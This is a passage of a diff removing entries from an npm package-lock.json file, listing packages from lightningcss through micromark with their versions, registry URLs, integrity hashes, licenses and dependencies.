"https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", - "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", - "cpu": [ - "arm64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lightningcss-win32-x64-msvc": { - "version": "1.32.0", - "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", - "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", - "cpu": [ - "x64" - ], - "license": "MPL-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/lines-and-columns": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - "dev": true, - "license": "MIT" - }, - "node_modules/lint-staged": { - "version": "16.4.0", - "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.4.0.tgz", - "integrity": "sha512-lBWt8hujh/Cjysw5GYVmZpFHXDCgZzhrOm8vbcUdobADZNOK/bRshr2kM3DfgrrtR1DQhfupW9gnIXOfiFi+bw==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^14.0.3", - "listr2": "^9.0.5", - "picomatch": "^4.0.3", - "string-argv": "^0.3.2", - "tinyexec": "^1.0.4", - "yaml": "^2.8.2" - }, - "bin": { - "lint-staged": "bin/lint-staged.js" - }, - "engines": { - "node": ">=20.17" - }, - "funding": { - "url": "https://opencollective.com/lint-staged" - } - }, - "node_modules/listr2": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/listr2/-/listr2-9.0.5.tgz", - "integrity": "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g==", - "dev": true, - "license": "MIT", - "dependencies": { - "cli-truncate": "^5.0.0", - "colorette": "^2.0.20", - "eventemitter3": "^5.0.1", - "log-update": "^6.1.0", - "rfdc": "^1.4.1", - "wrap-ansi": "^9.0.0" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/local-access": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/local-access/-/local-access-1.1.0.tgz", - "integrity": "sha512-XfegD5pyTAfb+GY6chk283Ox5z8WexG56OvM06RWLpAc/UHozO8X6xAxEkIitZOtsSMM1Yr3DkHgW5W+onLhCw==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", - "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/lodash-es": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.18.1.tgz", - "integrity": "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A==", - "license": "MIT" - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/log-update": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", - "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-escapes": "^7.0.0", - "cli-cursor": "^5.0.0", - "slice-ansi": "^7.1.0", - "strip-ansi": "^7.1.0", - "wrap-ansi": "^9.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/log-update/node_modules/ansi-styles": { - "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/log-update/node_modules/slice-ansi": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", - "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.2.1", - "is-fullwidth-code-point": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/chalk/slice-ansi?sponsor=1" - } - }, - "node_modules/logform": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", - "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", - "license": "MIT", - "dependencies": { - "@colors/colors": "1.6.0", - "@types/triple-beam": "^1.3.2", - "fecha": "^4.2.0", - "ms": "^2.1.1", - "safe-stable-stringify": "^2.3.1", - "triple-beam": "^1.3.0" - }, - "engines": { - "node": ">= 12.0.0" - } - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, - "node_modules/longest-streak": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", - "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/loose-envify": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", - "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", - "license": "MIT", - "dependencies": { - "js-tokens": "^3.0.0 || ^4.0.0" - }, - "bin": { - "loose-envify": "cli.js" - } - }, - "node_modules/lower-case": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", - "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", - "dev": true, - "license": "MIT", - "dependencies": { - "tslib": "^2.0.3" - } - }, - "node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/lowlight": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/lowlight/-/lowlight-1.20.0.tgz", - "integrity": "sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw==", - "license": "MIT", - "dependencies": { - "fault": "^1.0.0", - "highlight.js": "~10.7.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "license": "ISC", - "dependencies": { - "yallist": "^3.0.2" - } - }, - "node_modules/lucide-react": { - "version": "1.25.0", - "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.25.0.tgz", - "integrity": "sha512-/mdJTRbiwcLOQ1NZZK1amZF9rIZyvO18D6r9TngE6TG1NmqHgFuT4eE7Xrkm9UsXMbBJD1NlfwHVltCDWHrOTw==", - "peerDependencies": { - "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/lz-string": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", - "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", - "dev": true, - "license": "MIT", - "bin": { - "lz-string": "bin/bin.js" - } - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/magicast": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.3.tgz", - "integrity": "sha512-pVKE4UdSQ7DvHzivsCIFx2BJn1mHG6KsyrFcaxFx6tONdneEuThrDx0Cj3AMg58KyN4pzYT+LHOotxDQDjNvkw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.3", - "@babel/types": "^7.29.0", - "source-map-js": "^1.2.1" - } - }, - "node_modules/make-dir": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.5.3" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/markdown-table": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz", - "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/marked": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", - "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==", - "license": "MIT", - "bin": { - "marked": "bin/marked.js" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/matcher": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", - "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "escape-string-regexp": "^4.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/mdast-util-find-and-replace": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", - "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "escape-string-regexp": "^5.0.0", - "unist-util-is": "^6.0.0", - "unist-util-visit-parents": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", - "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/mdast-util-from-markdown": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", - "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "@types/unist": "^3.0.0", - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "mdast-util-to-string": "^4.0.0", - "micromark": "^4.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-decode-string": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0", - "unist-util-stringify-position": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.1.0.tgz", - "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==", - "license": "MIT", - "dependencies": { - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-gfm-autolink-literal": "^2.0.0", - "mdast-util-gfm-footnote": "^2.0.0", - "mdast-util-gfm-strikethrough": "^2.0.0", - "mdast-util-gfm-table": "^2.0.0", - "mdast-util-gfm-task-list-item": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-autolink-literal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz", - "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "ccount": "^2.0.0", - "devlop": "^1.0.0", - "mdast-util-find-and-replace": "^3.0.0", - "micromark-util-character": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-footnote": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.1.0.tgz", - "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "devlop": "^1.1.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-strikethrough": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz", - "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-table": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz", - "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "devlop": "^1.0.0", - "markdown-table": "^3.0.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-gfm-task-list-item": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz", - "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "devlop": "^1.0.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-expression": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz", - "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==", - "license": "MIT", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "devlop": "^1.0.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdx-jsx": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz", - "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==", - "license": "MIT", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "@types/unist": "^3.0.0", - "ccount": "^2.0.0", - "devlop": "^1.1.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0", - "parse-entities": "^4.0.0", - "stringify-entities": "^4.0.0", - "unist-util-stringify-position": "^4.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-mdxjs-esm": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz", - "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==", - "license": "MIT", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "devlop": "^1.0.0", - "mdast-util-from-markdown": "^2.0.0", - "mdast-util-to-markdown": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-newline-to-break": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-newline-to-break/-/mdast-util-newline-to-break-2.0.0.tgz", - "integrity": "sha512-MbgeFca0hLYIEx/2zGsszCSEJJ1JSCdiY5xQxRcLDDGa8EPvlLPupJ4DSajbMPAnC0je8jfb9TiUATnxxrHUog==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-find-and-replace": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-phrasing": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", - "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "unist-util-is": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-hast": { - "version": "13.2.1", - "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz", - "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "@ungap/structured-clone": "^1.0.0", - "devlop": "^1.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "trim-lines": "^3.0.0", - "unist-util-position": "^5.0.0", - "unist-util-visit": "^5.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-markdown": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", - "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "@types/unist": "^3.0.0", - "longest-streak": "^3.0.0", - "mdast-util-phrasing": "^4.0.0", - "mdast-util-to-string": "^4.0.0", - "micromark-util-classify-character": "^2.0.0", - "micromark-util-decode-string": "^2.0.0", - "unist-util-visit": "^5.0.0", - "zwitch": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdast-util-to-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", - "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/mdn-data": { - "version": "2.27.1", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz", - "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==", - "dev": true, - "license": "CC0-1.0" - }, - "node_modules/media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/merge-descriptors": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", - "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/micromark": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", - "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "@types/debug": "^4.0.0", - "debug": "^4.0.0", - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "micromark-core-commonmark": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-combine-extensions": "^2.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-encode": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-resolve-all": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-subtokenize": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-core-commonmark": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", - "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "devlop": "^1.0.0", - "micromark-factory-destination": "^2.0.0", - "micromark-factory-label": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-factory-title": "^2.0.0", - "micromark-factory-whitespace": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-classify-character": "^2.0.0", - "micromark-util-html-tag-name": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-resolve-all": "^2.0.0", - 